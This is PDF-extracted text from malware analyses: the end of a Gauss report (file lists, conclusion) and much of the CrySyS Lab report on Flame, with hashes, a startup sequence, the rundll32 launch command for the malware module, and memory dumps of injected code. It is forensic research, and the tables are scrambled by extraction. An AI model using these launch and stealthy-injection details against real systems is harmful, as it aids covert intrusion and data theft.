+18.07.2011 +08.08.2011 +31.08.2011 +16.09.2011 +27.09.2011 +28.09.2011 +28.09.2011 +03.10.2011 +10.10.2011 +13.10.2011 +17.10.2011 +17.10.2011 +20.10.2011 +26.10.2011 +01.11.2011 +27.11.2011 +29.11.2011 +29.11.2011 +14.12.2011 +Malware +Flame +Flame +Flame +Flame +Flame +Flame +Gauss +Gauss +Gauss +Gauss +Gauss +Gauss +Gauss +Flame +Gauss +Gauss +Gauss +Gauss +Gauss +Flame +Gauss +Gauss +Duqu +Gauss +Gauss +Gauss +Flame +Gauss +Gauss +Gauss +Module name (2012) +winshell.4 +mcd9x86.sys +devwiz.1 +browse32.ocx +Date of creation +05.01.2012 +23.02.2012 +19.03.2012 +09.05.2012 +Malware +Gauss +Duqu +Gauss +Flame +Files list +We have put together the names of all modules, temporary files, log files and data files used by Gauss in one way or another +and that are known to us. +Main modules +Path +wmiqry32.dll +%system%\wbem +wmihlp32.dll +%system%\wbem +dskapi.ocx +%system% +winshell.ocx +%system% +devwiz.ocx +%system% +lanhlp32.ocx +%system% +mcdmn.ocx +%system% +smdk.ocx +%system% +windig.ocx +%system% +system32.bin +root folder USB drive +system32.dat +root folder USB drive +.CatRoot.tmp +root folder USB drive +Data files and folders +~shw.tmp +%temp% +~stm.tmp +%temp% +ws1bin.dat +%windir%\Temp +ws1bin.dat +%temp% +~gdl.tmp +%temp% +~mdk.tmp +%temp% +.thumbs.db +root folder USB drive +wabdat.dat +%temp% +desktop.ini +inside folders on USB drive +target.lnk +inside folders on USB drive +.Backup0[D-M] +directory on USB drive +.Backup00[D-M] +directory on USB drive +md.bak +%temp% +s61cs3.dat +%systemroot%\Temp\ +s61cs3.dat +%temp% +~ZM6AD3.tmp +browser.js +Path +%windir%\temp +%AppData%\Roaming\Mozilla\Firefox\Profiles\*\{a288cad47b2443f89f4d-8e156305a8bc} +%AppData%\Mozilla\Firefox\Profiles\*\{a288cad4-7b24-43f89f4d-8e156305a8bc} +browser.xul +fileio.js +chrome.manifest +lppd.dat +install.rdf +rssf.dat +lfm.dat +mppd.dat +pddp.dat +pldnrfn.ttf +%AppData%\Roaming\Mozilla\Firefox\Profiles\*\{a288cad4-7b2443f8-9f4d-8e156305a8bc} +%AppData%\Mozilla\Firefox\Profiles\*\{a288cad4-7b24-43f89f4d-8e156305a8bc} +%AppData%\Roaming\Mozilla\Firefox\Profiles\*\{a288cad4-7b2443f8-9f4d-8e156305a8bc} +%AppData%\Mozilla\Firefox\Profiles\*\{a288cad4-7b24-43f89f4d-8e156305a8bc} +%AppData%\Roaming\Mozilla\Firefox\Profiles\*\{a288cad4-7b2443f8-9f4d-8e156305a8bc} +%AppData%\Mozilla\Firefox\Profiles\*\{a288cad4-7b24-43f89f4d-8e156305a8bc} +%AppData%\Roaming\Mozilla\Firefox\Profiles\*\{a288cad4-7b2443f8-9f4d-8e156305a8bc} +%AppData%\Mozilla\Firefox\Profiles\*\{a288cad4-7b24-43f89f4d-8e156305a8bc} +%AppData%\Roaming\Mozilla\Firefox\Profiles\*\{a288cad4-7b2443f8-9f4d-8e156305a8bc} +%AppData%\Mozilla\Firefox\Profiles\*\{a288cad4-7b24-43f89f4d-8e156305a8bc} +%AppData%\Roaming\Mozilla\Firefox\Profiles\*\{a288cad4-7b2443f8-9f4d-8e156305a8bc} +%AppData%\Mozilla\Firefox\Profiles\*\{a288cad4-7b24-43f89f4d-8e156305a8bc} +%AppData%\Roaming\Mozilla\Firefox\Profiles\*\{a288cad4-7b2443f8-9f4d-8e156305a8bc} +%AppData%\Mozilla\Firefox\Profiles\*\{a288cad4-7b24-43f89f4d-8e156305a8bc} +%AppData%\Roaming\Mozilla\Firefox\Profiles\*\{a288cad4-7b2443f8-9f4d-8e156305a8bc} +%AppData%\Mozilla\Firefox\Profiles\*\{a288cad4-7b24-43f89f4d-8e156305a8bc} +%AppData%\Roaming\Mozilla\Firefox\Profiles\*\{a288cad4-7b2443f8-9f4d-8e156305a8bc} +%AppData%\Mozilla\Firefox\Profiles\*\{a288cad4-7b24-43f89f4d-8e156305a8bc} +%SystemRoot%\fonts\ +Conclusion +Gauss is the most recent development from the pool of cyber-espionage projects that includes Stuxnet, Flame and Duqu. It +was most likely created in mid-2011 and deployed for the first time in August-September 2011. +Its geographical distribution is unique; the majority of infections were found in Lebanon, Palestine and Israel. One of the +modules from Jan 2012 contains the path +c:\documents and settings\flamer\desktop\gauss_white_1 +. The +flamer + in the +path above is the Windows username that compiled the project. Given the focus on Lebanon, the +white + version identifier +can probably be explained as following: +the name Lebanon comes from the Semitic root LBN, meaning +white +, likely a +reference to the snow-capped Mount Lebanon. + (Wikipedia) +Code references and encryption subroutines, together with the Command and Control infrastructure make us believe Gauss +was created by the same +factory + which produced Flame. This indicates it is most likely a nation-state sponsored operation. +Between Gauss + functions, the +Winshell.ocx + module which gives the name to the malware as +Gauss +, steals credentials +required to access online banking accounts for several Lebanese banks + including the Bank of Beirut, Byblos Bank and +Fransabank. This is the first publicly known nation-state sponsored banking Trojan. +Another feature which makes Gauss unique is its encrypted payload, which we haven +t been able to unlock. The payload is +run by infected USB sticks and is designed to surgically target a certain system (or systems) which have a specific program +installed. One can only speculate on the purpose of this mysterious payload. +The discovery of Gauss indicates that there are probably many other related cyber-espionage malware in operation. +The current tensions in the Middle East are just signs of the intensity of these ongoing cyber-war and cyber-espionage +campaigns. +sKyWIper (a.k.a. Flame a.k.a. Flamer): +A complex malware for targeted attacks +v1.05 (May 31, 2012) +s a live document modified all the time +Technical Report +Laboratory of Cryptography and System Security (CrySyS Lab) +http://www.crysys.hu/ +Budapest University of Technology and Economics +Department of Telecommunications +http://www.bme.hu/ +This report contains information provided by anonymous parties and hence +references were edited to preserve their anonymity +Authors: +sKyWIper Analysis Team +Findings in brief +In May 2012, our team participated in the analysis of an as yet unknown malware, which we +internally call sKyWIper. Based on the information initially received, we understood that the +malware is an important piece of a targeted attack. When we started the analysis, we did +not know how many countries were affected, but we suspected that it was not limited to a +single country. Our suspicion was based on indications that pieces of the malware was +probably identified and uploaded from European parties onto binary analysis sites in the +past. During the investigation, we received information about systems infected by sKyWIper +in other countries, including Hungary, our home country. Hence, the suspicion became +evidence, and this made it clear for us that our findings must be disclosed by publishing this +report. +It is obvious from the list of its files that sKyWIper must be identical to the malware +described in the post http://www.certcc.ir/index.php?name=news&file=article&sid=1894 +(from Iran National CERT (MAHER)) where it is called Flamer. For convenience, we keep our +naming of the malware and call it sKyWIper based on one of the filenames (~KWI) it uses for +temporary files. +sKyWIper +s constitution is quite complex with a large number of components and the +substantial size of some of its files. Therefore, providing its full analysis in a limited amount +of time was infeasible with our current resources. Our goal was to get a quick understanding +of the malware +s purpose, and to identify its main modules, storage formats, encryption +algorithms, injection mechanisms and activity in general. This report contains the results of +our analysis, which should help other researchers with more resources to get started and +continue the analysis producing more detailed results. +Our first insight suggests that sKyWIper is another info-stealer malware with a modular +structure incorporating multiple propagation and attack techniques, but further analysis may +discover components with other functionalities. In addition, sKyWIper may have been active +for as long as five to eight years, or even more. sKyWIper uses compression and encryption +techniques to encode its files. More specifically, it uses 5 different encryption methods (and +some variants), 3 different compression techniques, and at least 5 different file formats (and +some proprietary formats too). It also uses special code injection techniques. Quite +interestingly, sKyWIper stores information that it gathers on infected systems in a highly +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +structured format in SQLite databases. Another uncommon feature of sKyWIper is the usage +of the Lua scripting language. +sKyWIper has very advanced functionality to steal information and to propagate. Multiple +exploits and propagation methods can be freely configured by the attackers. Information +gathering from a large network of infected computers was never crafted as carefully as in +sKyWIper. The malware is most likely capable to use all of the computers + functionalities for +its goals. It covers all major possibilities to gather intelligence, including keyboard, screen, +microphone, storage devices, network, wifi, Bluetooth, USB and system processes. +The results of our technical analysis support the hypotheses that sKyWIper was developed +by a government agency of a nation state with significant budget and effort, and it may be +related to cyber warfare activities. +sKyWIper is certainly the most sophisticated malware we encountered during our practice; +arguably, it is the most complex malware ever found. +MAJOR UPDATES: +05/30/2012 Kaspersky published much more details about modules +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Table of contents +Introduction .............................................................................................................................................5 +1.1. +Investigation............................................................................................................................................................ 5 +1.2. +History and build dates ...................................................................................................................................... 5 +1.3. +Build dates................................................................................................................................................................ 6 +1.4. +Comparison to Duqu (Stuxnet) at a glance............................................................................................... 7 +Main components ...................................................................................................................................9 +2.1. +Modules...................................................................................................................................................................... 9 +2.2. +File listing and hashes.......................................................................................................................................11 +Activation and propagation ............................................................................................................. 13 +3.1. +Startup sequence.................................................................................................................................................13 +3.2. +Bootup experiments to gather timing information.............................................................................15 +3.3. +Injections.................................................................................................................................................................17 +3.4. +Hooks ........................................................................................................................................................................20 +3.5. +Mutexes....................................................................................................................................................................21 +3.6. +nteps32 exports....................................................................................................................................................21 +3.7. +Installation and propagation method.......................................................................................................22 +Description of components.............................................................................................................. 24 +4.1. +Encryption algorithms......................................................................................................................................24 +4.2. +Registry parts........................................................................................................................................................32 +4.3. +Compression and table formats....................................................................................................................34 +4.4. +Data storage formats ........................................................................................................................................36 +4.5. +Logging file list.....................................................................................................................................................38 +4.6. +Saving additional information......................................................................................................................39 +C&C communication ........................................................................................................................... 41 +Attack details + dictionary and scripts ........................................................................................ 44 +6.1. +Some interesting Lua scripts inside the code .........................................................................................48 +6.2. +Related files............................................................................................................................................................51 +6.3. +SQLite table structure of CLAN DB..............................................................................................................52 +Evasion techniques ............................................................................................................................. 56 +7.1. +Security programs relation ............................................................................................................................56 +7.2. +Design choices and tricks ................................................................................................................................56 +7.3. +Malware +s own files list ....................................................................................................................................57 +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +1. Introduction +Our team at CrySyS Lab, Budapest was alerted in May 2012 of a targeted attack found in the +wild. Below we summarize the investigation history and the current status of the forensic +analysis. +1.1. Investigation +We have carried out an investigation in collaboration with several parties involved in +incident response since we were alerted of the malware sKyWIper. Some of these parties +involved may want to remain anonymous; therefore, references in the document are +deliberately incorrect to avoid identification of the source of some information, data, +sample, code, prototype, etc. +sKyWIper is too complex to be fully analyzed with our limited resources and time. Therefore, +our investigations focused on the +big picture +, trying to get a first insight into the +capabilities, behavior, encryption, data storage, propagation and communications of the +malware. Much more work is needed to fully understand the details of the operation of the +malware; however, as much debug/symbol information remains in the code, a detailed +analysis seems to be feasible with additional resources and time. +1.2. History and build dates +sKyWIper has most probably been operated undetected for years. It has been potentially +operational for 5 years or more according to malware intelligence reports. The main +component, msgsecmgr.ocx a.k.a. wavesup3.drv refers to many versions of a dynamic link +library. This component has been previously observed (without raising an alarm) as follows: +Country of origin +The filename WAVESUP3.DRV was first seen on Dec 5 2007 in Europe by the Webroot +community. Since, it has been observed in the following geographical regions: + Europe on Dec 5 2007 +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +The United Arab Emirates on Apr 28 2008 +Islamic Republic of Iran on Mar 1 2010 +File sizes +The following file sizes have been seen: + 1,153,536 bytes + 991,232 bytes + 975,872 bytes +1.3. Build dates +The build date PE header information of the malware uses fake date information for its files; +hence we cannot precisely identify the target system +s infection time. Nonetheless, the +SQLite related part of mssecmgr.ocx contains some build time info (more about the +components later): +Unidentified build, Aug 31 2011 23:15:32 +23:15:32 +31...........Aug 31 2011 +The following string shows SQLite version information, found in the memory dumps: +2010-01-05 15:30:36 28d0d7710761114a44a1a3a425a6883c661f06e7 +NULL +It relates to SQLITE_VERSION "3.6.22" (part of the source code) +Also, there is a reference +1.2.3 +, and we think that this refers to zlib version number +possibly used in SQLite tables. +Some tables of the malware contain timestamps, possibly some of these do not relate to +actual running times, but instead some dates when the attackers developed or constructed +attack flows. An example is audcache.dat that contains timestamps like the ones below. We +are not sure about the timestamps + function and about the table structure. There are other +binary strings that might be timestamps, but their values vary too much to be accurate. +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +5409 +5409 +5409 +5409 +ec02 +ec02 +ec02 +ec02 +ec02 +ec02 +ec02 +ec02 +ec02 +ec02 +ec02 +ec02 +ec02 +ec02 +ec02 +ec02 +Tue Oct 11 23:35:34 2011 +Tue Oct 11 23:35:37 2011 +Tue Oct 11 23:35:37 2011 +Tue Oct 11 23:35:37 2011 +Tue Oct 11 23:59:59 2011 +Tue Oct 11 23:59:59 2011 +Tue Oct 11 23:59:59 2011 +Tue Oct 11 23:59:59 2011 +Wed Oct 12 00:00:03 2011 +Wed Oct 12 10:52:33 2011 +Wed Oct 12 10:52:33 2011 +Wed Oct 12 10:53:04 2011 +Wed Oct 12 11:09:32 2011 +Wed Oct 12 11:09:32 2011 +Wed Oct 12 11:21:17 2011 +Wed Oct 12 11:21:17 2011 +Wed Oct 12 11:21:17 2011 +Wed Oct 12 11:21:17 2011 +Wed Oct 12 11:22:04 2011 +Wed Oct 12 11:22:04 2011 +Figure 1 + Timestamps found in audcache.dat +1.4. Comparison to Duqu (Stuxnet) at a glance +As our team played a significant role in the discovery and analysis of Duqu, another recently +discovered info-stealer malware used in targeted attacks, we briefly compare sKyWIper to +Duqu (and Stuxnet) in Table 1. Note that this is a high-level, simplified comparison. +As it can be seen from the comparison, sKyWIper and Duqu (Stuxnet) have many differences, +and it seems plausible that sKyWIper was not made by the same developer team as that of +Duqu/Stuxnet/~D. However, we cannot exclude the possibility that the attackers hired +multiple independent development teams for the same purpose, and sKyWIper and Duqu +are two independent implementations developed for the same requirement specifications. +This may be an approach to increase the robustness of an operation, which can persist even +if one of the two (or more?) implementations is uncovered. +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Feature +Duqu, Stuxnet, ~D +Modular malware +Kernel driver based rootkit +Valid digital signature on driver +Injection based on A/V list +Imports based on checksum +3 Config files, all encrypted, etc. +Keylogger module +PLC functionality +Infection through local shares +Exploits +0-day exploits +DLL injection to system processes +DLL with modules as resources +RPC communication +RPC control in LAN +RPC Based C&C +Port 80/443, TLS based C&C +Special +magic + keys, e.g. 790522, AE +Virtual file based access to modules +Usage of LZO lib +Visual C++ payload +UPX compressed payload, +Careful error handling +Deactivation timer +Initial Delay +Configurable starting in safe mode/dbg +Realtek, JMicron, C-media +(Duqu) +(Stuxnet) +(Stuxnet) +Mod. LZO +? Some +sKyWIper +fltmgr usage +Not found +Different +Not seen +Totally diferrent +Not found (yet) +Very likely +Some from Stuxnet! +Not yet found +(but different) +SSL+SSH found +Only 0xAE is similar +Not seen +No LZO: Zlib, PPMd, bzip2 +some +Self-kill logic inside +Different from Duqu +Not like Stuxnet +Table 1 + Comparing sKyWIper to Duqu and Stuxnet at a first glance +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +2. Main components +2.1. Modules +We present an overview of the modules encountered during the analysis of sKyWIper. +Figure 2 shows some files related to the malware, grouped by type, with some labels +indicating our current knowledge about how some of these files are created and encoded +(encrypted or compressed). +Figure 2 + Files related to the malware +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +The malware contains the following modules: +Related OCX files: +mssecmgr.ocx (6 M) +-- resource 146 (2.5 M) +advnetcfg.ocx (0.6 M) +msglu32.ocx (1.6 M) +nteps32.ocx (0.8 M) +soapr32.ocx (0.2 M) +Main module +Compressed file with some zlib-like compression +Injected part, possibly info stealer (screen shots and alike) +Created by main module +Created by main module +Can be found in resource 146, possibly network based propagation +module +The main module of the malware is mssegmgr.ocx, which is 6 MByte long. It is loaded at +startup, and later copied to wavesup3.drv. The main module also creates other OCX modules +as shown in the above list. +Related files in the Windows/Temp folder: +To691.tmp (1.5 M) +Initial settings data file +Related files in the Windows/System32 folder: +ccalc32.sys +boot32drv.sys (~1 K) +Configuration settings table, fully encrypted. It is generated by the +malware installer process, and stored in uncompressed Resource +146 of mssecmgr.sys at position 0x00001E7118. It is encrypted by +RC4 (128). +Desktop window related data, encrypted by XOR with 0xFF +Temporary files created by the malware: +~DEB93D.tmp +~HLV084.tmp +~HLV294.tmp +~KWI<> +Encrypted file containing SQLite database of nmb lookups. Written +by services.exe. +Compressed parts contain info on running processes. Written by +winlogon.exe. +Purpose unknown. This and 4-5 similar files often appear on +infected systems. +Compressed parts contain info on running processes. Written by +winlogon.exe. +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +~rf.tmp +Contains full file listing of the infected computer in SQLite 3 +database format. Encrypted with algorithm E1 (see encryption +algorithms later). +Related DAT files: +dstrlog.dat +lmcache.dat +mscrypt.dat +ntcache.dat +rccache.dat +ssitable +CLAN DB for storing attack and propagation methods. +Information on target computer. +Code, data, and configuration on attacks, e.g. JIMMY, MUNCH. +Information on target computer. +DAT files created from dllrun32 startup (with file size and time of creation): +audcache +audfilter.dat +dstrlog.dat +lmcache.dat +ntcache.dat +wpgfilter.dat +Possibly pre-created attack database (1572896 May XX 10:32) +(0 May XX 10:32) +CLAN DB of attacks (86016 May XX 10:32) +Information on target computer (SFS) (460800 May XX 10:32) +Information on target computer (SFS) (4454400 May XX 10:32) +(6163261 May XX 10:32) +2.2. File listing and hashes +Here, we provide the hashes for the main components of sKyWIper. Later in Section 7.3, we +provide a full list of suspected filenames used by the malware (whitelisted). +bb5441af1e1741fca600e9c433cb1550 *advnetcfg.ocx +d53b39fb50841ff163f6e9cfd8b52c2e *msglu32.ocx +bdc9e04388bda8527b398a8c34667e18 *mssecmgr.ocx +c9e00c9d94d1a790d5923b050b0bd741 *nteps32.ocx +296e04abb00ea5f18ba021c34e486746 *soapr32.ocx +5ad73d2e4e33bb84155ee4b35fbefc2b *ccalc32.sys +dcf8dab7e0fc7a3eaf6368e05b3505c5 *mscrypt.dat +06a84ad28bbc9365eb9e08c697555154 *00004069.ex_ +ec992e35e794947a17804451f2a8857e *00004784.dl_ +296e04abb00ea5f18ba021c34e486746 *00005729.dl_ +b604c68cd46f8839979da49bb2818c36 *00006411.dl_ +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +c81d037b723adc43e3ee17b1eee9d6cc *boot32drv.sys (not constant but possible match) +Figure 3 + MD5 hashes of the malware +s components +60d5dbddae21ecb4cfb601a2586dae776ca973ef *advnetcfg.ocx +3a9ac7cd49e10a922abce365f88a6f894f7f1e9e *msglu32.ocx +a592d49ff32fe130591ecfde006ffa4fb34140d5 *mssecmgr.ocx +7105b17d07fd5b30d5386862a3b9cc1ff53a2398 *nteps32.ocx +5fdd7f613db43a5b0dbec8583d30ea7064983106 *soapr32.ocx +faaef4933e5f738e2abaff3089d36801dd871e89 *ccalc32.sys +8b591dd7cd44d8abae7024ca2cc26034457dd50e *mscrypt.dat +25fc20eedd7bfca26cf5fad1fade13b05c9a2d20 *00004069.ex_ +e608a6d9f0ab379e62119656e30eef12542f2263 *00004784.dl_ +5fdd7f613db43a5b0dbec8583d30ea7064983106 *00005729.dl_ +7a1351c084a556bdceaf221a43cb69579ca7b9bb *00006411.dl_ +d4b21620d68fdc44caa20362a417b251ff833761 *boot32drv.sys +Figure 4 + SHA-1 hashes of the malware +s components +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +3. Activation and propagation +3.1. Startup sequence +The malware can be started using two different methods: +1. Set msgsecmgr.ocx in the registry (see below at registry parts) +2. Run the malware from rundll32 using the command as follows: +start /wait rundll32.exe c:\windows\system32\mssecmgr.ocx,DDEnumCallback +At startup, mssecmgr.ocx is loaded as LSA Authentication Package. About 2 minutes later +advnetcfg.ocx is loaded by services.exe. It is repeated every 2 to 3 minutes 3 times in total. +About 2 minutes later services.exe loads nteps32.ocx from mssecmgr.ocx, and then +winlogon.exe also loads nteps32.ocx. This file is loaded several times. In the meantime, +explorer.exe starts 5 iexplore processes that subsequently create wpgfilter.dat. Again 2 +minutes later ccalc32.sys is written by services.exe, and in 1 minute winlogon.exe loads it. +Next, mssecmgr.ocx is copied to wavsup3.drv. Then, boot32drv.sys is loaded by services.exe. +This sequence of events is illustrated in Figure 5 below, while Figure 6 shows another +representation with exact timestamps. +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Figure 5 + Startup sequence +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Nteps32 loading 23:36:37 +services +System +(cache) +ccalc32 written 23:38:37 +load 23:39:37 +winlogon +Boot32cfg w:23:38:35 +Advnetcfg 23:36:17 +23:38:32 +23:39:17 +rundll32 +mssecmgr loading 23:34:35 +explorer +wpgfilter loading 23:37:02 +iexplore loading 23:36:21 3240 (parent 1644) +23:36:41 3520 (parent 1644) +23:37:00.08 3632 (parent 1644) +23:37:19 3752 +23:37:40 3876 +23:37:59 3968 +Figure 6 + Startup procedure with timestamps +3.2. Bootup experiments to gather timing information +We performed some experiment to determine the order of module loadings and activities. +Trial 1 +ccalc32.sys has a last change and last access time at the first start - difference ~50 seconds. +In normal LSA startup without mscrypt installed, ccalc was not created (no real CC traffic +either). +Question: Is ccalc32 created by mssecmgr+advnet+?? during startup if ran from rundll? +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Trial 2 +Nteps, soapr, to691 are removed to test if these files are needed for the malware to start. +Windows update traffic starts after 1:40 min of starting rundll for startup. At iexplore exit +ccalc32.sys immediately appeared. ~HLV files appear about 1:20 min after the appearance of +ccalc32.sys. The exact timestamp was 23:45:00 (local time), the sharp seconds value (:00) +seems suspicious. +Results: nteps, soapr, to691 are not needed for startup +Trial 4 +Starting with Rundll32 at 23:49:20 +23:51:06 windowsupdate traffic begins +23:52:48 iexplore quits, about 3 seconds later ccalc appears +23:54:25 ~HVL files found in windows/temp +msglu32.ocx exists, creation time is 2004, change time is current local time +Trial 5 +Removing nteps, soapr, to691, msglu to be sure that msglu is indeed created during startup. +Results: Malware is still running, msglu32 is created just at the same time as ~HLV files begin +to be created. Order of events: +1. iexplore + windowsupdate traffic +2. traffic stops, ccalc32 created, some 1:20 min delay +3. ~HLV files begin to appear and msglu is deployed +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +3.3. Injections +There are multiple injections of code during startup. Only advnetcfg32 is probably injected 3 +times. We have no detailed information why code is injected into multiple processes +(including winlogon.exe, services.exe, explorer.exe). +fltmgr.sys +fltmgr.sys +fltmgr.sys +ntkrnlpa.exe +ntkrnlpa.exe +ntkrnlpa.exe +ntkrnlpa.exe +ntkrnlpa.exe + + + + +fltmgr.sys + 0x1888 +0xf83f0888 +fltmgr.sys + 0x31a7 +0xf83f21a7 +fltmgr.sys + 0xfc7a +0xf83fec7a +ntkrnlpa.exe + 0xac124 +0x80583124 +ntkrnlpa.exe + 0xe8488 +0x805bf488 +ntkrnlpa.exe + 0xe4a14 +0x805bba14 +ntkrnlpa.exe + 0x9ffeb +0x80576feb +ntkrnlpa.exe + 0x6a67c +0x8054167c +0x1f2a333 +0x1f2a333 +0x1f1ed9c +0x1f1ed9c +0x1f1128b +0x1f1128b +0x1f1c900 +0x1f1c900 +C:\WINDOWS\System32\Drivers\fltmgr.sys +C:\WINDOWS\System32\Drivers\fltmgr.sys +C:\WINDOWS\System32\Drivers\fltmgr.sys +C:\WINDOWS\system32\ntkrnlpa.exe +C:\WINDOWS\system32\ntkrnlpa.exe +C:\WINDOWS\system32\ntkrnlpa.exe +C:\WINDOWS\system32\ntkrnlpa.exe +C:\WINDOWS\system32\ntkrnlpa.exe +Figure 7 + Winlogon.exe with injected code working with ccalc32.sys + procmon +In case of Duqu, the authors used ZwCreateSection() and ZwMapViewOfSection() to copy +code into running processes, while other methods use LoadLibrary() and LoadLibraryEx() to +load a library into a code. These techniques can easily be detected as the inserted DLLs +appear in the PEB +s InLoadOrderModuleList. In case of sKyWIper, the code injection +mechanism is stealthier such that the presence of the code injection cannot be determined +by conventional methods such as listing the modules of the corresponding system processes +(winlogon, services, explorer). The only trace we found at the first sight is that certain +memory regions are mapped with the suspicious READ, WRITE and EXECUTE protection +flags, and they can only be grasped via the Virtual Address Descriptor (VAD) kernel data +structure. As these regions must have been allocated dynamically by means of +VirtualAllocEx() or WriteProcessMemory(), they have the type of Vad Short. Thus, the +combination of RWE flags and type VadS for a given memory region in a system process +allowed us to identify the code injection. Figure 8 shows the malicious code injections we +found with Volatility. +Process: winlogon.exe Pid: 676 Address: 0xab0000 +Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE +Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 +0x00ab0000 +0x00ab0000 +0x00ab0000 +0x00ab0000 +10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc +1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +....J.o....<.Qr. +...V............ +................ +................ +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Process: winlogon.exe Pid: 676 Address: 0xac0000 +Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE +Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 +0x00ac0000 +0x00ac0000 +0x00ac0000 +0x00ac0000 +10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc +1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +....J.o....<.Qr. +...V............ +................ +................ +Process: winlogon.exe Pid: 676 Address: 0xb10000 +Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE +Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 +0x00b10000 +0x00b10000 +0x00b10000 +0x00b10000 +10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc +1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +....J.o....<.Qr. +...V............ +................ +................ +Process: winlogon.exe Pid: 676 Address: 0xb20000 +Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE +Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 +0x00b20000 +0x00b20000 +0x00b20000 +0x00b20000 +10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc +1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +....J.o....<.Qr. +...V............ +................ +................ +Process: winlogon.exe Pid: 676 Address: 0x10f0000 +Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE +Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 +0x010f0000 +0x010f0000 +0x010f0000 +0x010f0000 +10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc +1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +....J.o....<.Qr. +...V............ +................ +................ +Process: winlogon.exe Pid: 676 Address: 0x1220000 +Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE +Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 +0x01220000 +0x01220000 +0x01220000 +0x01220000 +10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc +1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +....J.o....<.Qr. +...V............ +................ +................ +Process: winlogon.exe Pid: 676 Address: 0x1490000 +Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE +Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 +0x01490000 +0x01490000 +0x01490000 +0x01490000 +ba ba 0d f0 00 00 48 01 30 25 80 7c b7 24 80 7c +b3 1d 90 7c 55 8b ec 51 53 56 57 33 ff 89 7d fc +e8 00 00 00 00 58 89 45 fc 8b 45 fc 6a 64 59 48 +49 89 45 fc 74 5b 81 38 ba ba 0d f0 75 f1 8d 70 +......H.0%.|.$.| +...|U..QSVW3..}. +.....X.E..E.jdYH +I.E.t[.8....u..p +Process: winlogon.exe Pid: 676 Address: 0x3c8a0000 +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE +Flags: CommitCharge: 4, MemCommit: 1, PrivateMemory: 1, Protection: 6 +0x3c8a0000 +0x3c8a0000 +0x3c8a0000 +0x3c8a0000 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 27 00 27 00 01 00 00 00 00 00 00 00 +................ +................ +................ +....'.'......... +Process: services.exe Pid: 720 Address: 0x950000 +Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE +Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 +0x00950000 +0x00950000 +0x00950000 +0x00950000 +ba ba 0d f0 00 00 94 00 30 25 80 7c b7 24 80 7c +b3 1d 90 7c 55 8b ec 51 53 56 57 33 